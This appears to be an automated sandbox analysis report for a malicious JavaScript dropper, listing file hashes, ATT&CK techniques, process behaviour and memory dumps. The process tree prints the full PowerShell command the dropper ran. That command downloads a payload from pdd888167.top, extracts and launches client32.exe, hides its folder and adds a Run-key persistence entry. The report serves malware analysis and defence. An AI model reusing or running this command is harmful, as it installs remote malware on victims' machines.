112db7a45ddfa14aaa70598e2d1aa1d01167473d67bf23e4bc6f928377b7895b

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 01:34

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General

Target

79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa.js
Size

13.8MB
MD5

9bf4be608d90edf6891ce6b99b9db4cb
SHA1

443e8e9c857c554e5723bc6b408bf8365b450749
SHA256

79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa
SHA512

2b84c254971ece8d18c3c3ab36fe32976c279c15463e7704302ba2baec913f1c308e09970935ac6bc75b2f4a879ef6bfb510ae70230a3c6d5b2f7234a657ab13
SSDEEP

49152:87V7zjCxbzqHlp4LhyN0kghDzLZzjYzYsmCW+8z2V35//9SGGqHm3quVIKXgxcE/:6

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://pdd888167.top/data.php?11210

exe.dropper

https://pdd888167.top/data.php?11210

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2660	powershell.exe
6	2660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2660	2368	wscript.exe	28
PID 2368 wrote to memory of 2660	2368	wscript.exe	28
PID 2368 wrote to memory of 2660	2368	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IauVJuNNbhStwDjcZTDS='https://pdd888167.top/data.php?11210';$gxsysUJlYwYwPSkgVPNwnoyBpx=(New-Object System.Net.WebClient).DownloadString($IauVJuNNbhStwDjcZTDS);$vEQcpgZIPFWfVqfsgcfCh=[System.Convert]::FromBase64String($gxsysUJlYwYwPSkgVPNwnoyBpx);$zxc = Get-Random -Minimum -10 -Maximum 37; $LlmVqmBaLDT=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $LlmVqmBaLDT -PathType Container)) { New-Item -Path $LlmVqmBaLDT -ItemType Directory };$p=Join-Path $LlmVqmBaLDT 'ah.zip';[System.IO.File]::WriteAllBytes($p,$vEQcpgZIPFWfVqfsgcfCh);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LlmVqmBaLDT)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LlmVqmBaLDT 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$AZ=Get-Item $LlmVqmBaLDT -Force; $AZ.attributes='Hidden';$s=$LlmVqmBaLDT+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2660-5-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2660-4-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Filesize
4KB

Download
memory/2660-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2660-7-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-8-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-9-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-10-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download